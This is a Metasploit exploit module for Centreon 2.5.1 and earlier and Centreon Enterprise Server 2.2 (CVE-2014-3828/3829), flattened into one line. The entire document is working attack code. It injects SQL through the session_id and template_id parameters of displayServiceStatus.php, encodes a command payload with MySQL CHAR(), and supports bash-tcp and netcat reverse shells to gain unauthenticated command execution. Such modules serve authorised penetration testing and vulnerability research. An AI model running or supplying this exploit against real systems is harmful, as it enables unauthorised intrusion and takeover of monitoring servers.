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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Centreon SQL and Command Injection', 'Description'=> %q{ This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command injection in the displayServiceStatus.php component, it is possible to execute arbitrary commands as long as there is a valid session registered in the centreon.session table. In order to have a valid session, all it takes is a successful login from anybody. The exploit itself does not require any authentication. This module has been tested successfully on Centreon Enterprise Server 2.2. }, 'License'=> MSF_LICENSE, 'Author' => [ 'MaZ', # Vulnerability Discovery and Analysis 'juan vazquez' # Metasploit Module ], 'References' => [ ['CVE', '2014-3828'], ['CVE', '2014-3829'], ['US-CERT-VU', '298796'], ['URL', 'http://seclists.org/fulldisclosure/2014/Oct/78'] ], 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload'=> { 'Space' => 1500, # having into account 8192 as max URI length 'DisableNops' => true, 'Compat'=> { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'generic python gawk bash-tcp netcat ruby openssl' } }, 'Targets'=> [ ['Centreon Enterprise Server 2.2', {}] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 15 2014', 'DefaultTarget'=> 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the Centreon Application', '/centreon']) ], self.class) end def check random_id = rand_text_numeric(5 + rand(8)) res = send_session_id(random_id) unless res && res.code == 200 && res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif' return Exploit::CheckCode::Safe end injection = "#{random_id}' or 'a'='a" res = send_session_id(injection) if res && res.code == 200 if res.body && res.body.to_s =~ /sh: graph: command not found/ return Exploit::CheckCode::Vulnerable elsif res.headers['Content-Type'] && res.headers['Content-Type'] == 'image/gif' return Exploit::CheckCode::Detected end end Exploit::CheckCode::Safe end def exploit if check == Exploit::CheckCode::Safe fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") elsif check == Exploit::CheckCode::Detected fail_with(Failure::Unknown, "#{peer} - The SQLi cannot be exploited. Possibly because there's nothing in the centreon.session table. Perhaps try again later?") end print_status("Exploiting...") random_id = rand_text_numeric(5 + rand(8)) random_char = rand_text_alphanumeric(1) session_injection = "#{random_id}' or '#{random_char}'='#{random_char}" template_injection = "' UNION ALL SELECT 1,2,3,4,5,CHAR(59,#{mysql_payload}59),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 -- /**" res = send_template_id(session_injection, template_injection) if res && res.body && res.body.to_s =~ /sh: --imgformat: command not found/ vprint_status("Output: #{res.body}") end end def send_session_id(session_id) res = send_request_cgi( 'method' => 'GET', 'uri'=> normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'), 'vars_get' => { 'session_id' => session_id } ) res end def send_template_id(session_id, template_id) res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri(target_uri.to_s, 'include', 'views', 'graphs', 'graphStatus', 'displayServiceStatus.php'), 'vars_get' => { 'session_id' => session_id, 'template_id' => template_id } }, 3) res end def mysql_payload p = '' payload.encoded.each_byte { |c| p << "#{c},"} p end end |
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